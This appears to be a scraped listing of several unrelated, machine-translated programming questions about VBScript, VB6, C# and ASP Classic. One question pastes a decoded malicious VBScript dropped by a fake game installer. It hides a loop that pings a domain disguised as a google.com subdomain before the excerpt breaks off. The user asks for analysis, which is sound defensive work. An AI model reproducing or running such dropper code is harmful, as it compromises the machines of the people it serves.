我们最近收到了一堆带制表符分隔符的文件.
我们在sql server数据库中导入它们时遇到了困难.
发送文件的供应商也发送了以下代码供我们用于将文件从制表符转换为逗号分隔符.
如何在visual studio中使用此文件.
我曾多次使用visual studio,但我还没有将它用于像这样的单个文件.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
namespace TabToComma
{
class Program
{
static void Main(string[] args)
{
StreamReader sr;
StreamWriter sw;
sr = new StreamReader(@"c:\input.txt");
sw = new StreamWriter(@"c:\output.txt");
string nextline;
string replacedline;
while (sr.Peek() >= 0)
{
nextline = sr.ReadLine();
replacedline = nextline.Replace('\t',','); // replace each tab in line with a comma
sw.WriteLine(replacedline);
}
sr.Close();
sw.Close();
}
}
}
Run Code Online (Sandbox Code Playgroud)
或者,如果有人知道如何使用vbscript完成同样的事情,请指出我正确的方向.
非常感谢提前
这是一个简单的例子:
Dim si As Single
For si = 2.6 To 3.3 Step 0.1
MsgBox si
Next si
Run Code Online (Sandbox Code Playgroud)
我得到的数字如下(它们显示在MsgBox中,如下所示):
2.6
2.7
2.8
2.9
3
3.099999
3.199999
3.299999
Run Code Online (Sandbox Code Playgroud)
所以,我想我会将数据类型从Single更改为Double以查看会发生什么.这次,没有.099999类型编号,但跳过了最后一项(迭代),如,缺失,并且不存在.以下是它们出现在MsgBox显示中的结果:
2.6
2.7
2.8
2.9
3
3.1
3.2
Run Code Online (Sandbox Code Playgroud)
我猜测在最后一次迭代失踪的情况下,它会像.299999那样跟踪它,并且在它自己的脑海中永远不会达到.3,所以跳过它?但是,问题在于,如果发生这种情况,您将获得前一次迭代之一,以便能够发生这种情况,就像在单数据类型示例中所做的那样,如果您在此之后截断了所有内容,那么第一个小数,你会注意到3.0出现了两次.首先是"3"然后是"3.0"(如果我们忽略/截断"3.0"部分之后的数字9的5次出现 - "3.099999").
有趣的是,我使用单数据类型循环访问某些内容的另一个函数显示了上面我们的双数据类型示例所具有的确切问题,并且上面的单数据类型示例没有出现任何问题.因此,我在这里的真正原因是我的单数据类型循环丢失并在使用"步骤0.1"(递增0.1)时跳过最后一项.
使用"Step 0.1"和非整数数据类型有可靠的方法吗?如果没有,我们是否知道这些混乱事件发生的规则(在那里,混乱是可预测的)?叹
我以为你们都觉得这很有趣,我很期待明白这一点.搜索Google是没用的,因为我一进入"for"和"step"工作,就不断提出如何使用step运算符的示例,没有任何用处.
我有兴趣知道如何忍受这个,或者安全地做到这一点,和/或为什么它首先发生.我宁愿不使用Integers为这个特定的函数循环(然后使用另一个变量进行分割得到我的小数类型),但是如果我必须并且没有可靠的方法去做,否则,我会.但我把这个留给你们,我的程序员霸主.
我的例子发生在VB6中,但是,我也想知道在VB.NET中甚至在C#中是否会发生同样的混乱?我假设它发生在vba和vbscript中.关于此的任何信息也将是有趣和赞赏的.
先感谢您.
对主持人(没有必要阅读的问题):这不是一个重复的帖子,可能有其他人在其他语言(如C#)发布浮点问题,但解决这个(VB6)的问题不一定是与C#问题的解决方案相同.可能有一些解决方案是相同的,但也会有不同的解决方案,我无法从C#帖子中获得不同的解决方案/答案.事实证明,我感兴趣的解决方案是一个VB6特定的解决方案,在引用的C#帖子上找不到.我敦促mods在尝试关闭帖子之前勤奋,我看到帖子在很多场合不公平地关闭,并且在一天结束时,你进入了一个你没有增加任何价值的阶段,但是从Q中删除了大量的价值和这个网站的风格.总而言之,如果甚至有可能通过类似的帖子获得新的信息/答案或解决方案,那么最好避免关闭.特别是如果问题是针对不同的语言,即使概念相似或相同,也必然会有不同的语言特定的解决方案和解决方案.
我正在尝试使用 VBScript 在 SecureCRT 上进行一些自动化操作。我现在的问题是,大约 30% 的时间我尝试运行我的脚本(有时在会议中进行演示......),我收到“权限被拒绝”错误。
很多时候,快速解决方案是将脚本复制并粘贴到新的 .txt 文件中。最终旧的又可以工作了,但它非常挑剔。今天,我的脚本成功了。5分钟后我的许可被拒绝了。我创建了一个修订版,该修订版有效。5 分钟后,一个错误出现了,原始版本不再给我这个错误。很难跟踪,我不确定是什么原因造成的。
编辑:此行发生错误。
Set pso = CreateObject("Scripting.FileSystemObject")
Set Pile = pso.OpentextFile("Alarm_logs.txt",8, True)
Run Code Online (Sandbox Code Playgroud)
它非常接近脚本的顶部。
有人有类似的经历吗?
我从 oceanofgames.com 下载了一款游戏。其中有一个名为“Step 2 - Extract Setup.rar”的存档。它几乎存在于从 oceanofgames.com 下载的所有游戏中。当我提取并运行它时,它被检测为恶意软件。我有 Avast,它显示此 消息
它在 %appdata%\Windows Updates 文件中创建“Windows Updates service.vbs”和“encode.vbs”。“encode.vbs”将“Windows Updates service.vbs”转换为“Windows Updates service.vbe ”,然后运行它。我解码了vbe文件。请告诉我这是在做什么。
on Error Resume Next
Sub Pause(NSeconds)
Wscript.Sleep(NSeconds*3000)
End Sub
Dim visualcpp
Set visualcpp = CreateObject("WScript.Shell")
counter = True
While counter = True
website = "www.google.com.739471594492594.windows-display-service.com"
checkstring = "ping -n 1 -w 300 " & website
status = visualcpp.Run(checkstring, 0 , True)
If status = 0 Then
counter = False
Else
Pause(21)
End If …Run Code Online (Sandbox Code Playgroud) 为了想要一个ASP Classic程序的人试图将PHP脚本转移到VB脚本而苦苦挣扎.
到底发生了什么事?
width = 1008
height = 1260
If width > height Then
response.write("I am confused")
End If
Run Code Online (Sandbox Code Playgroud)
产生结果;
I am confused
Run Code Online (Sandbox Code Playgroud)
宽度值来自
dimensions = Split(canvas_size,"x")
width = dimensions(0)
height = dimensions(1)
Run Code Online (Sandbox Code Playgroud)
当我把它们写到屏幕上时,那些是我得到的数字.
vbscript ×5
c# ×2
antimalware ×1
asp-classic ×1
malware ×1
permissions ×1
secure-crt ×1
vb.net ×1
vb6 ×1
vba ×1